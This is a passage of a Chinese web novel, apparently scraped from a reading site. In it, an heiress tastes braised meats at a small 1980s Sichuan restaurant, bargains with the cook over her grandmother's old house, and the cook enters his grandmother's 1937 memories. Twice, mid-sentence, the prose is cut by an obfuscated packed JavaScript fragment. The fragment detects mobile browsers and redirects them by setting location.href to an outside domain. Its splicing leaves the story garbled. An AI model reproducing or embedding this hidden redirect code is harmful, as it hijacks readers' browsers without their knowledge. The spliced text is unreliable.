大爷把嘴里的面饭慢慢嚼完咽下，这才不紧不慢的开口道：“嗯，麻辣鲜香，肥而不腻，口感是软糯的，嚼起来细嫩化渣，中间夹一段蒜苗一起吃，吃起来有种蒜苗的独特芳香，风味更佳。” 段语嫣本来看着隔壁桌吃回锅肉就有点馋了，桌上摆着一份，大爷吃的又那么香，还给她细细描述了口感和味道，又忍不住吞了吞口水。 “想吃就自己捻，不用客气。”汪大爷笑着说了一句，便又继续自顾自吃了起来。 蜷成灯盏窝的二刀肉，切得薄厚均匀，应该是加了豆瓣炒出的红油，把肥肉也染上了一层红亮的色泽，看着确实不显油腻，和白色的蒜苗杆、绿色的蒜苗叶颜色一撞，看着都清爽了几分。 “那……我尝一块？”段语嫣拿起筷子，学着汪大爷的样子，夹起一块回锅肉，里边也卷了一截蒜苗杆，做好心理建设，一口喂到嘴里。 贝齿轻咬，皮子香糯，肥肉入口即化，瘦肉一点不柴，嚼起来还有点弹牙，一口下去，肥而不油，香而不腻。 蒜苗被咬开，独特的清香，更添风味。 确实好香啊！ 肥肉竟然也能做的那么好吃，倒是有些颠覆她的想象了。 她可是连吃红烧肉都不吃肥肉的人。 严飞已经很有眼力见的给小姐盛了一碗米饭。 段语嫣端起饭碗，扒拉了一口米饭。 嗯！ 这个饭松软又香甜，还带着一股淡淡的木香，和回锅肉可太搭了。 好吃。 连着吃了两块，段语嫣有点不好意思夹了。 好在他们的菜，双椒碎花牛肉、红烧排骨、凉拌鸡和卤猪头肉，一下都上了桌。 “汪大爷，您也一起吃吧，我们的菜有点多。”段语嫣笑着道：“这样我才好大大方方的吃您点的回锅肉。” “要得。”汪大爷笑着应了一声。 段语嫣尝了个遍，一抿就脱骨的红烧排骨，麻辣酥香的双椒碎花牛肉，皮脆肉嫩的凉拌鸡，各有滋味，竟然都如此美味。 段语嫣可真是吃一道爱一道，着实有些被惊艳到了。 特别是凉拌鸡，看着红彤彤，但吃起来麻辣鲜香酸，五味调和，余味微甜，调和的相当完美，口感非常柔和。 她一连吃了好几块，皮太脆了，肉又格外鲜嫩，点点芝麻和红油裹着鸡肉，嚼到芝麻粒的时候，犹如咬开了一颗香味**，太香了！ 她喜欢吃鸡，最爱白切鸡，几乎每周都要去粤菜餐厅吃一回。 但白切鸡和这凉拌鸡完全是两种感觉，一个清淡爽口，一个香辣爽口。 但是都好吃！ 都尝了一遍后，她的目光落在了那盘卤猪头肉上。 切成铜钱厚的卤猪头肉，泛着红亮的琥珀色光泽，厚度切得非常均匀，就是摆盘有点随意，不如飞燕酒楼那精致的摆盘。 分量差不多，飞燕酒楼一份是1.6元，这小饭店是1元。 这定价其实没问题，飞燕酒楼的人工、店内设施维护等成本可比这个家庭小饭店要高得多。 段语嫣好奇的是这份卤猪头肉和飞燕酒楼有什么关系？ 她奶奶让她来苏稽找张记卤味又是因为什么？ 作为张记卤味继承人的周砚，到底和奶奶有什么关系呢？ 带着种种想法，她夹起了一块卤猪头肉。 颜色和昨天晚上吃过的那份卤猪头肉几乎看不出区别，红亮如琥珀，卤汁浸透。 喂到嘴里，慢慢嚼着，细细品味。 很快，她的表情不淡定了。 一样的！就是一样的卤猪头肉！ 如果是不同的时间随机来到了这两家饭店，她可能只会觉得两家饭店的卤猪头肉都挺好吃的。 可她是带着疑问和审视点了这份卤猪头肉。 这两份卤猪头肉，应该出自同一锅卤水，也就是同一个人之手。 段语嫣看着厨房里正在炒菜的周砚，眼睛微微眯起，好家伙，他竟然还给飞燕酒楼提供卤肉！ 这个推断不难，飞燕酒楼的卤肉刚上新。 而周二娃饭店的卤肉口碑已经发酵开了，连镇上的街坊都有知晓的。 这么说来，几十年前让她爷爷和奶奶喜欢的卤猪头肉和卤牛肉，并非出自飞燕酒楼，而是周砚的奶奶——张氏！ 墙上的菜单没有卤牛肉，所以飞燕酒楼自然也不会有。 段语嫣感觉自己掌握了一个非常劲爆的内幕消息，要是飞燕酒楼的客人们知道了这个消息，他们会怎么想？ “欸？那奶奶不是从几十年前就知道了？可她和爷爷还是一直在飞燕酒楼吃饭，且每次都点卤味。”段语嫣略一思索，便明白了其中缘由。 或许，他们并不在意。 卤肉好吃，坐在环境清雅的包间里，吃着精致摆盘的卤肉，为此多付一点钱，他们乐意。 他们不会为了一份卤肉，专门跑一趟苏稽的卤味摊。 倒是形成了某种默契。 张记卤味、飞燕酒楼挣了钱，食客吃到了美味的卤肉，都觉得自己赚了。 张氏！ 段语嫣感觉自己抓到了一个非常重要的信息，她或许可以通过与奶奶同时代的另一位老人，找到她想要的答案。 她目光灼灼的盯着周砚，继承了张氏卤味手艺的周砚，和他奶奶的关系应该不错，可以通过他的引荐见到张氏。 然后，她的视线中出现了一个眨着眼睛的小姑娘，突然冒头，站在周砚的身后。 两人视线交汇，都愣了一下。 小姑娘扎着两根小辫子，模样粉雕玉琢，好可爱！ 不是，她刚刚不是坐在灶旁打盹吗？ 对上视线的瞬间，段语嫣有种被抓包的尴尬，连忙收回视线吃了一口凉拌鸡。 周沫沫则是颠颠跑了过来，靠边站在厨房门口，歪头打量着段语嫣，眼睛亮晶晶的：“姐姐，你好乖哦！帽儿好好看。” 小家伙的声音软软的，还带着点小奶音，语气不带一丝恭维，只有纯粹的赞美。 段语嫣的嘴角已经不自觉上扬，从她成年开始，男人的恭维她听得太多了，那些为财或为色而发出的赞美，很难让她感到开心。 可眼前这个小姑娘发出的赞美，是发自内心的纯粹赞赏，很难让人不喜欢。 “谢谢，你也很乖。”段语嫣看着她笑眯眯道：“你叫什么名字？” 她今天的贝雷帽是特意搭的，中环路边买的，全身上下最便宜的配饰，却是她今年最爱的帽子。 但小姑娘可不会在意什么古驰竹节包，卡地亚手表，她只看感觉。 嗯，算是和她形成了某种共鸣了。 “周沫沫。”小家伙开口，想了想，又自我介绍道：“我是我锅锅的妹妹。” 段语嫣忍不住掩口笑，这小家伙太可爱了！这是什么奇怪的自我介绍方式啊？ 原来是他的妹妹，难怪长得那么可爱，颜值好高啊。 她的脸肉嘟嘟的，看着好想掐一把！ 不过他们的年纪也差的太多了吧？ 二十岁了，还有个三岁左右的小妹妹？ 她有两个哥哥，一个比她大三岁，一个大两岁，年纪相差不大，从小打到大。 “你吃饭了吗？”段语嫣笑着问道。 “我吃过了哦，姐姐，你先吃饭饭吧。”周沫沫冲着她笑了一下，转身跑回了厨房，又乖乖坐到灶台后边去了。 好乖！好懂事啊！ 段语嫣收回目光，面带微笑继续吃饭。 她吃的比较慢，本来就是第二轮翻台的客人，等她放下筷子的时候，店里只剩下两三桌客人了。 严飞确认段语嫣吃饱后，这才开始光盘行动。 没他想的那么难。 那一份凉拌鸡，段小姐吃了一大半，只给他留了五六块。 红烧排骨也是，就剩了三块。 双椒牛肉碎有点辣，所以剩的比较多，他拌着米饭干了两碗。 卤猪头肉还剩了一半，好吃，但他实在吃不下了，得到段小姐的应允，他打包回去当晚饭。 晚上顺路回家一趟，让老婆和娃都尝尝，这么好吃的卤猪头肉，在嘉州城里可买不到。 汪大爷吃完有一会了，正站在门口和忙完后厨的周砚聊天。 “没想到你不仅卤味做得好，炒菜、烧菜也是一等一的水准。”汪大爷看着周砚，语气中不掩欣赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200256|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “大师过奖了，会的不多，还要继续努力。”周砚笑着说道。 “那我就回去了，什么时候做了卤牛肉，跟我说一声，我还来吃饭。”汪大爷伸手轻轻拍了一下周砚的手臂，回头看了眼背对着门口方向的段语嫣，骑上车走了。 周砚目送他离去，也是转身看向了段语嫣，思索着该如何撬开这资本家大小姐的嘴巴，看看他到底有没有机会拿下邱家老宅。 段语嫣起身向门口走来，严飞连忙把碗里的米饭两口全扒拉了，跟着起身。 “嬢嬢，结账。”段语嫣打开包，摸出钱夹。 “刚刚那位大爷已经帮你们一起结过账了。”赵嬢嬢笑着说道。 “什么？”段语嫣闻言有些惊讶，快走两步到门口，已经看不到大爷的身影。 周砚也是有些吃惊，他从厨房出来的时候汪大爷已经结了账，所以他并不知道这事。 大小姐这一顿饭可是吃了六块四呢，拼个桌，大爷竟悄悄摸摸把账给结了？ 大爷糊涂啊！ 有退休工资也不能这么造吧？ 不过转念一想，大爷也确实是性情中人。 先前在厨房忙着炒菜，但周砚还是支起耳朵听到了段语嫣和大爷的一些对话。 文化人之间的交流，哲学上的碰撞，听得他一愣一愣的。 大小姐可不是什么草包，从她的谈吐不难看出文化底蕴，家族赋予的自信，精英教育培养出来的能力，远胜普通人。 周砚在大师面前，顶多求个书单。 但段语嫣与大爷聊**选，聊莎士比亚，聊红楼梦，聊百年孤独，聊的相当尽兴。 大爷买单，倒也说得过去。 人生难得一知己，大爷一看就是潇洒之人。 段语嫣也没有纠结，既然知道汪大爷在镇上的图书馆当管理员，那下一回来苏稽，再请他吃一顿饭也行。 她转而看向了周砚，面露微笑道：“你好，我叫段语嫣。” “你好，周砚。”周砚同样微笑应道。对方先搭讪，主动权在我。 “我奶奶很喜欢吃张记卤味的卤牛肉，不知你是否会做？我在菜单上并没有看到这道菜。”段语嫣开门见山道。 又是卤牛肉，怎么都惦记着卤牛肉啊？ 周砚有点意外，但听到是段语嫣的奶奶，眼底又有一丝喜色闪过。 邱老太爱吃卤牛肉？那可太好了！正愁没路子接触呢，这不就送上门了。 “卤牛肉我还在练习，尚未完全出师。”周砚微笑道：“你还挺有孝心的，为了奶奶特意跑一趟苏稽，你可以给我留一个地址，下回我奶奶如果做卤牛肉，或者我出师了，我可以给老太太送到家里。” “这有点太麻烦你了吧。”段语嫣看着他道：“我可不可以去见一下你奶奶？我有在做川菜美食研究，对于这些老手艺人非常感兴趣。” “不好意思，我奶奶已经有二十多年不摆摊了，她平时也不太见客，你有什么想问的，可以跟我说，我来为你转达。”周砚面带笑容的婉拒。 好嘛，看来不止是想吃卤牛肉。 特意从嘉州找到苏稽，还找到他店里来。 现在又想见老太太。 周砚有点怀疑，邱老太的心结，可能和老太太有关联。 那他自然不能让段语嫣直接见老太太，他还惦记着邱家老宅呢，得拿到更多的筹码，才能坐上谈判桌。 之前还在为没有头绪发愁，现在机会自己送上门了，必须把握！ 段语嫣盯着周砚，轻咬贝齿，这家伙怎么不配合啊！她就想找张氏问问情况，不想让过多的人知道。 周砚面带微笑，他必须横插一脚。 都是千年老狐狸，装什么聊斋。 川菜美食研究，他上辈子就是干这活的。 你一个文学系的千金大小姐，研究个der。 段语嫣看了眼一旁支着耳朵的赵嬢嬢和严飞，看着周砚道：“借一步说话？” “好。”周砚点头。 两人出门，往河堤走去。 严飞犹豫了一下，站在饭店门口没有跟上，但警惕地看着周砚。 “我想找你奶奶聊聊我奶奶年轻时候的事。”段语嫣在河边栏杆旁站定，看着周砚开门见山道：“她年纪大了，一个人待在嘉州我们不放心，想把她接到香江跟我们一起住。 但她好像有什么心结，留在邱家老宅不愿意离开，我劝了半年都没能劝动，所以想看看她同辈的奶奶，是否知道一些什么事，能否帮她解开心结。 昨天她吃了飞燕酒楼的卤肉后，让我来苏稽桥头买张记卤味的卤牛肉，来嘉州半年，这是她第一次主动让我帮她办事，我觉得不同寻常，应该会是重要线索。” 不是！飞燕酒楼这就暴露了？周砚眉梢一挑，就这黄鹤还想要牛肉的专供权呢？ “你放心，我和奶奶都不是多嘴的人，最多再有两个月，我就会回香江，不会传出任何不利于你们合作的话。”段语嫣似乎看穿了周砚的心思，给他吃了个定心丸。 周砚没去接话，转而道：“是嘉州港大门对着的邱家老宅？” 段语嫣闻言，眼睛睁大了几分，这家伙果然大有问题！ 竟然知道邱家老宅的位置！ 邱家和段家在苏稽并无亲族，邱家老宅也并不豪华，一个在苏稽镇上开饭店的青年，怎么会一语断定邱家老宅的位置？ 莫非他早就起了争夺房产之心？！ “你如何知道的？莫非……你与我奶奶有什么关系？或者你知道什么？”段语嫣克制着情绪问道，垂着的手已经握成了拳头。 “你误会了，上周末我带爸妈去东大街闲逛，在街尾那家卤味店买卤味的时候，那老板跟我闲聊说起邱家老宅要卖。我刚好有去嘉州置业的想法，就好奇多问了两嘴，老板提到了老太太的港商儿子和孙女想接老太太去香江享福。”周砚看着段语嫣，微笑解释道： “段小姐说着一口港普，穿着一身奢侈品，还带着保镖，又提到了邱家老宅，我想，应该不会那么凑巧还有第二位。” “这么说，是巧合。”段语嫣闻言微微点头，不过她很快又盯住了周砚：“那家卤味店卖的卤肉，连我都觉得难吃，你的卤肉做的那么好，去嘉州玩还会特意去买卤肉？” 晚上还有一更！ 继续万更求月票~   (本章完) 第139章 【张淑芬的记忆碎片】（48k6000月票 第139章【张淑芬的记忆碎片】（4.8k6000月票加更！） 瞧瞧，多么敏锐的心思。 “我看他生意很好，同行嘛，就想看看他的卤肉做的味道如何，若是将来去嘉州发展，心里也有点数。”周砚脸不红心不跳：“段小姐说的很对，确实难吃，生意好靠的是地段不是味道。” “你想解老太太的心结，带她去香江养老享福，我想买邱家老宅，举家搬迁进城，我们目标一致，就是朋友。” 段语嫣若有所思，周砚话说的倒是颇为坦荡。 “今日是段小姐找上门来的，我也没想到会如此凑巧。但既然你开门见山，那我也打开天窗说亮话。”周砚看着她说道：“段小姐要是能给我一句准话，若我助你让老太太点头愿意去香江，你做主把段家老宅卖给我，且价格公道，我肯定鼎力相助。” “你真有办法？”段语嫣看着他。 “嘉州就那么大，段小姐语言不通，有些话可能问不太清楚，但我是土生土长的嘉州人，脸皮也足够厚，有我相助，我想问题会简单许多。”周砚信心满满道：“而且，你是冲着张记的卤牛肉来的，而我恰好是张记卤味的传承人。或许在我奶奶那里，就能获得一些有用的消息。” 段语嫣略一思索，便点了头：“一言为定，你若是真能解了我奶奶的心结，我做主把邱家老宅卖给你，一万块钱。” 这事他爸回香江之前就跟她说定了，老太太若解了心结去香江，以后回嘉州小住就去段家老宅，邱家老宅直接卖掉，免得年久失修塌了还引来一些麻烦。 老太太若不回来，他们十年都未必会再回一趟嘉州。 邱家老宅周边虽有些喧闹，但确实是做买卖的好地段。 周砚多半是想买下这房子，将来把饭店搬到那里去开。 利益交换，段语嫣可不陌生，而且她更喜欢这种方式，大家开诚布公的把条件在明面上讲清楚。 合作共赢，各取所需。 她不喜欢随便欠人情，人情债太难还，不如直接谈条件。 “合作愉快。”周砚笑着向她伸出手，一万块，刚好在他的预期内。 “合作愉快。”段语嫣伸手和他轻轻握了一下。 饭店门口，严飞眼睛微微眯起，如猎豹一般盯住了周砚。 这家伙怎么还握上手了？！ 看来不光要防黄毛，平头也得防着点。 周砚向段语嫣详细询问了一些关于邱老太的信息。 段语嫣的奶奶邱老太名为邱绮，今年七十岁，爷爷名为段兴邦，退休前是**工程师，具体做什么的不好说，涉密。 她爸爸这辈是两个兄弟，一个妹妹，五十年代去了香江，今年才回来认亲。 信息已经给的比较充分，但听完周砚心里有点凉。 圈子过于高端，他感觉老太太卖卤菜，应该不太能结交这样的朋友圈吧？ 但是，没有关系！ 先把项目接下来，剩下的再想办法也不迟。 这机会要是不把握住，他上哪结识段语嫣这样的资本家大小姐？ 一万拿下邱家老宅，后面再慢慢攒钱推翻重建，正对嘉州港，坐拥嘉州大佛的游客资源，把饭店开进市区，指日可待。 “如果你有消息，随时可以来邱家老宅找我，十点前我一般没有起床，下午我如果没在家，那一般在嘉州港下游五百米左右的河边坝坝茶那里看书晒太阳。”段语嫣和周砚说道。 “好的，再见。”周砚微笑点头，又补了一句：“你今天的妆很漂亮。” “谢谢。”段语嫣点头，转身的时候嘴角微微上扬。 他还懂化妆呢？ 不过跟周砚沟通还是挺愉快的，他的普通话很标准，而且非常率真。 她没有太多的耐心和别人为了一点蝇头小利拉扯，浪费时间。 比如段家和邱家的一些远房亲戚，刚开始那几个月总以各种借口上门和她东拉西扯，目的其实很简单，要钱。 要的倒也不多，几十块，一百块的。 一开始她想拿钱打发了，但被她奶奶给按住了，一分都不让给。 年初他爸回来的时候，其实已经给各家亲戚发过五百块的红包，抵得上工厂工人一年工资了。 老太太说了：升米恩，斗米仇。再给钱，以后亲戚全成仇家。 后来老太太把族老喊来开了个族会，态度非常明确，真有困难的来找她，再找小辈的，直接拿棍子打出门。 段语嫣这才得到清静。 别看老太太出门优雅端庄，但那些亲戚都怕着她呢。 没有买到卤牛肉，但此行也不算一无所获，至少获得了一位合作伙伴。 严飞快步跟上，离她两步远跟着，也没有开口多问半句。 …… “聊什么呢？”赵嬢嬢看周砚回来，忍不住八卦道。 这姑娘瞧着就贵气，讲话腔调听着有些奇怪，不是本地人，又是个女大学生？ 周砚怎么认识的？ “聊了几句川菜烹饪技艺传承，妈，我有事回一趟村里。”周砚随口应了一声，进后厨切了一只猪耳朵，包了一只猪蹄，推着自行车就出门去了。 桥头打了一壶酒，直奔周村老宅。 周砚骑着车到家，老太太正在锁门。 “奶奶，去哪？”周砚把车停下，笑着问道。 老太太转过身来，看着周砚有点意外：“准备去隔壁打长牌，你啷个来了？” “给你打了点酒，带了个猪蹄和猪耳朵，有点事情想问你。”周砚把车篮子里的东西提出来，笑着说道：“耽误不了你好久。” “来就来，又提那么多东西。进来嘛，反正打牌也是消磨时间，打不打都无所谓。”老太太把门重新打开，先往院子里走去。 周砚提着东西跟着进门，院墙上，狸花猫伸了个懒腰，抬抬眼皮瞅了眼周砚，便又扭过头揣着爪爪继续睡觉。 老太太拿了个碗，把周砚带来的卤猪蹄先倒进碗里，然后在上边盖个盘子刚好密封上。 猪蹄是她的最爱，晚上加一勺卤汁热一热再吃，不用做菜了。 周砚把酒给她放一旁的柜子上，看着一旁墙上挂的黑白相片，也学着周沫沫的样子打了个招呼：“爷爷好。” 老太太看着相片，笑着开口道：“下个月就是他的忌日，到时候你有空的话，就一起去老霄顶的烈士陵园扫墓嘛。” “要得，工作日我把店门关了都要去。”周砚点头，看着相框里穿着军装，面容刚毅的中年男人，他的眼里透着铁血杀气，黑白相片看着依旧十分威严。 他小时候，他听奶奶讲起过爷爷抗日的事迹，这些年她越来越少再和小辈聊这些了，就像是把这些记忆渐渐尘封了一般。 “说嘛，要问啥子机密，需要提着卤猪蹄和酒来？”老太太提着暖瓶给她倒了杯茶，笑着问道。 “今天有个客人是从香江回来寻亲的，她说她奶奶……”周砚在桌边坐下，直接把段语嫣和邱老太的情况跟老太太说了一遍，所有信息，一点都没有删改。 老太太是有条理的人，胡乱加工，反倒影响她判断。 “嘉州城里的邱绮和段兴邦？还是**工程师？”老太太认真思索了许久，摇了摇头：“我记不起来有这么两位客人，我除了第一年去嘉州城里推销卤肉结识了一些饭店老板，后来都是他们自己来**。 我去嘉州都是去耍和买东西，认识的人除了饭店老板就是刀儿匠。啥子邱绮，**工程师，我肯定不认识，他们多半是在飞燕酒楼吃的卤肉，不会专门跑一趟苏稽来买。 苏稽好像也没得这两个姓的大户，嘉州城里的我不熟悉，杨码头那边的大户我倒是基本都记得起名字。” 周砚听完，感觉天都塌了。 他信心满满的跑来，以为能从老太太这里听到一段可歌可泣的爱恋呢，结果…… 竟然一点有用信息都没有得到！ 还好没有直接带着段语嫣来，不然这合作关系立马崩了。 “她知道我卖的卤牛肉，可能是有人给她带过，但平时都在飞燕酒楼吃。”老太太推测道：“嘉州城那个年代大户多哦，开丝绸庄的，贩盐的盐商、还有地主、码头搞航运的……飞燕酒楼生意好得很，往来全是有钱大户。” 周砚点头，看来有空他还得去嘉州做调查，最简单的办法就是去找邱老太家族的老人，多半能撬出一些密辛。 当然，这种行为也可能会被邱家人以居心不良的名义抓起来暴打，有一定的风险性。 “对了，那你认识一个叫汪然的大爷不？高高瘦瘦的，现在应该七十岁左右，在镇图书馆当管理员。”周砚又问道：“他说以前经常来你这里买卤肉，也问我啥时候做卤牛肉。” “汪然？”老太太想了想，也摇头：“这个名字听都没听过，而且那个年代，只要是高的，一般都高高瘦瘦，一般要大户老爷才胖嘟嘟的。那些大户家的少爷，一个个穿着新式的西装，头发打起发蜡，苍蝇落上去都要打滑。 汪姓是镇上大家族，出了好几个大户，杨码头那边的四合院，最大的那幢就是当年的汪振宇汪老爷的，当年苏稽最大的丝绸厂就是他们家的，嘉州许多养蚕户都是靠汪家吃饭。 我记忆最深刻的，就是他们家排老四的汪遇汪少爷，每天出门提个鸟笼，里面装了只会说话的鸟，叫啥子鹦鹉。 每个星期他都要来买一份卤牛肉，他不要我的油纸打包，自己带的一个很漂亮的青花瓷小盆，盆底底有一朵开了的牡丹花，装满差不多是一斤牛肉，还专门定制了一个木盖盖，盖上去刚好合适。据他说是要送到嘉州城里给他未婚妻，就爱吃我做的卤牛肉。 后来小鬼子打过来，你爷爷要出川去打鬼子，这汪遇放着好好的少爷不当，偏要从家里翻墙逃出来，跟着你爷爷一起去当兵打仗。 再后来未婚妻改嫁他人，有人说他当了汉奸，又有说加了国·党，动荡年代，汪家因为有钱也被军阀惦记上了，被整的家破人亡，汪老爷和他的三个哥哥，还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老太太说要帮他慢慢想，那不如…… 他自己看一眼？ 起身把门反锁，周砚躺回到床上，用意念点开【张淑芬的记忆碎片】。 他以为会弹出一个视频播放界面。 结果下一秒，他眼前一黑，瞬间失去了知觉。 …… “耗儿药~耗儿药~耗儿吃了跑不脱……” “磨刀哦~磨剪刀~磨菜刀~” “眼睛倒个拐，节约几十块……” 嘈杂的叫卖声从耳边响起，喊价、砍价声不绝于耳。 周砚尝试着眨了眨眼，发现自己好像没有眼皮，但视线开始渐渐清晰起来。 熟悉又陌生的苏稽石板桥头，到处都是摆摊摊的小商贩，穿着粗布短褂，席地而坐，或是沿街叫卖着。 也有穿着长褂的男人和穿着旗袍的女人，看着要体面不少。 生意最旺的，是一个卤肉摊，排着十几人的长队，摊子旁支着一个手写的招牌：张氏卤味。 摊子后边旁边站着个约摸二十七八岁的女人，长相秀美，留着齐耳短发，穿着靛蓝色碎花盘扣上衣，搭着一条黑色裤子，腰上系着围裙，看起来清爽利落，正笑着收钱、找钱。 周砚见过老太太年轻时候的照片，不如**好看，他奶奶年轻时候可真漂亮，是那种干净利落的长相。 不对，应该叫她：张淑芬！ 旁边小桌上放了块圆木厚砧板，一个理着平头，身材高高壮壮的青年拿着菜刀正在刷刷切猪耳朵，不正是他爷爷周毅吗？！ 看着三十岁的样子，和他小叔有七八分像，但更壮实，脸上挂着笑，还有点憨厚老实的感觉，没后来照片里自然流露的凌然杀气。 “张姐，还是给我装一斤卤牛肉，摆好看点嘛，太凌乱我都送不出手。” 一道声音吸引了周砚的目光，排在卤肉摊最前边的是个高高瘦瘦的年轻人，穿着一身西装小马褂，西装裤配擦得铮亮的小皮鞋。 模样生的俊朗，浓眉大眼，头发二八分向上梳起，发胶抹的有点多，油亮亮的，苍蝇站上去都得打滑。 他右手提个鸟笼，里边有只颜色鲜艳的鹦鹉，左手递了个青花瓷盆过来，盆底有朵盛开的牡丹花，釉色太漂亮了。 周砚眼睛瞪大了几分，一脸惊讶： “大……大师？！” —— PS：4.8k大章加更！万更求月票！第三了，求继续冲一下榜单~ （明天大概率会把记忆碎片的剧情一次性写完再更新，所以不用担心拖节奏的问题） 求月票~ 记忆这个剧情我做了很久的设定，斟酌许久，还是决定这样展开！明天写一天搞定它！   (本章完) 第140章 那些年最可爱的人（12k记忆碎片（全 眼前的青年一身崭新西装马褂，端的是风流倜傥，意气风发。 周砚在他的身上，看到了大师的影子。 像！ 太像了！ 可在张淑芬的记忆中，这位应该就是苏稽大户汪家四少爷汪遇，这个让她记忆深刻的青花瓷盆，确实精致而美丽。 莫非是本家兄弟，所以长得像？ “要得，保证给你装的巴巴适适。”张淑芬笑盈盈接过青花瓷盆，拿了双筷子，把切好牛肉一片片往盆里装，一圈一圈环绕，确实不错。 后边跟着的小厮递上木盖小心盖上，然后装进食盒。 张淑芬看着汪遇笑问道：“汪少爷这是又给未婚妻送的？你都送一年了，什么时候成亲，我们能不能去讨口喜酒喝？” 后边排队的客人也纷纷跟着起哄，脸上都带着笑。 “快了快了，再过几个月就去下聘，明年指定能吃上喜酒，到时候张姐和周哥可一定都要来。”说起未婚妻，汪遇脸上的笑容灿烂了几分，摸出一个银元递了过去，“不用找了。” “谢谢，我们肯定来撒！”张淑芬笑容愈发灿烂。 一旁的周毅也是抬头笑着道：“要得！” 汪少提着鸟笼往一旁停着的马车走去，小厮提着食盒快步跟上。 周砚下意识想要跟上，却发现身体根本无法移动，只能目送那马车远去。 没错…… 这是张淑芬的记忆，所以周砚的活动范围仅限于她的视线范围之内。 周砚没法，盯着汪少的脸，记住了他右颈处的黑痣，明天可以找大师验证一下。 他抬头看了一眼天空，碧蓝的天空，一行红色时间标注格外醒目：1937年6月21日 周砚伸手碰了一下栏杆，手直接穿模透过了石头。 他张了张嘴，发现自己发不出声音。 很显然，他无法干涉这一段记忆，只能旁观。 或者说是——读取。 淑芬确实没吹牛，卤肉摊的生意实在太好了，排队的盛况持续了一个多小时，就卖完了一百多斤卤肉。 那些大户家的小厮，卤猪头肉和卤牛肉都是论斤买的，出手阔绰。 周砚甚至觉得，这比1984的苏稽，生意还要更好做一些。 狗大户是真有钱，而且乐意花钱。 不像1984，镇长一个月工资才堪堪过百，万元户都是超级富豪。 周砚注意到了卤肉摊旁蹲着两个小萝卜头，一个五岁左右，一个三岁左右，正全神贯注的看着一群搬运掉落碎肉的蚂蚁。 张淑芬不时看两人一眼，嘴角带着笑。 “大伯，二伯？”周砚若有所思，看着和帆娃确实长得像，虎头虎脑的，脸都肉嘟嘟的，可见家里条件确实不错。 卤肉卖空，食客散去，张淑芬和周毅开始收摊。 旁边停着的马车上下来一个穿褐色长褂，头戴黄色圆帽的中年男人，快走两步上前来，圆脸上堆起笑容：“张大妹子，卤牛肉专卖权的事你们考虑好了吗？我一年给你100块银元，牛肉的拿价再给你让一成，一天我至少要五十斤牛肉，只要你保证整个嘉州城里只有我们飞燕酒楼卖你家的卤牛肉。” 张淑芬笑吟吟道：“要得，黄老板这么有诚意，我们也合作一年了，这个事情就这样定了嘛。” “这是……黄四郎？”周砚看着这个和黄鹤有七八分相似的中年男人，应该就是黄鹤他爹黄四郎了，确实是张记的长期合作伙伴啊。 “太好了！”黄四郎拍手，又连忙左右看了一眼，压低了几分声音道：“钱我明日让我老表来周村**的时候一并送来，这份契约书你瞧瞧，没问题就签了吧。” “黄老板，我做人做事你晓得的，不需要整这些，我说了嘉州城卤牛肉只卖你一个人，那我肯定不会卖一两给嘉州其他酒楼、饭店。”张淑芬没接那契约书，表情严肃道：“我虽是女人，但一诺千金。” “要得！我信得过你。”黄四郎把契约书收起，又和张淑芬把卤牛肉的价格确定，便转身上了马车离开。 “妈妈，我饿了。” “我也饿饿！” 两个小萝卜头跑了过来，仰着脑袋冲着张淑芬喊道。 “走嘛，妈妈带你们去买米花糖吃，家里给你们留了个卤猪蹄，中午热一热好吃得很！”张淑芬一手牵起一个，冲着周毅笑道：“我带娃儿去买菜，你先收嘛。” “要得，我把东西装好了，就来接你们。”周毅憨笑着点头，把砧板和菜刀往一旁的平板马车上装。 “买米花糖去了~”两个小萝卜头甩开她的手，在石板路上开心地跑着。 张淑芬脸上带着笑，不紧不慢地跟在后边，一路上和小贩们熟络的打着招呼，在豆腐摊前停下买了一块豆腐，鱼贩子那里挑了两条鲫鱼，和商贩讨价还价，不一会手里就提满了菜。 周砚的身体不受控制的跟着往前，嘴角跟着上扬，老太太年轻的时候可真漂亮，也是个活泼爱笑的女子。 这时候的老周家，生活富足，日子还挺好过的。 周砚走着走着，恍若一脚踏空，眼前骤然一黑。 画面再度清晰时，夯土墙上一行猩红字幕： 1937年8月16日，夜，19:21 “你一个杀牛的，拿什么去抗·日？你连枪都没摸过！你……你走了，我们孤儿寡母怎么活？”房间里传来了女人的抽泣声。 周砚将视线从墙上移开，便看到张淑芬泪流满面的捶着周毅的胸膛。 周毅还是那身短褂，身上背着一个包裹，神情已然没了前些日子的憨厚，多了几分坚毅与果决。 “淑芬，小鬼子犯我国土，杀我同胞，奸我姊妹，我若不去，鬼子迟早要打到嘉州，到时候谁来护你们母子？”周毅神情坚决，扶住她的肩膀柔声道： “家中银元和金圆券我已经全部换成了黄金，藏在床脚下的暗格里，你小心收好，莫要被他人知晓。汪遇说乱世买黄金，恐怕接下来世道都不会太平，你带着两个孩子，要照顾好自己。” “我和几位叔伯兄弟已经打了招呼，让他们照看你们母子，你放心，我们老周家只要还有一个男儿活着，就没人能欺负到你们母子头上。” 张淑芬渐渐不哭了，扑入周毅的怀中，紧紧抱着他，像是要把自己揉进他的身体，又像是害怕一松手就会消失。 周毅轻轻抚着她的背，眼角亦是有一滴泪水滑落，被他无声揩去。 “你放心，我还要回来给那两个臭小子修房子，娶媳妇呢。”周毅在她耳边轻声道：“打完鬼子，我就回来了。” “嗯。”张淑芬应了一声，鼻音有点重。 周砚在旁缓缓握紧了拳头，一股悲壮之情涌上心头。 此时此刻的中华大地上，这一幕不知在多少家庭中上演。 这是他爷爷，血脉相连，更是令人心神激荡。 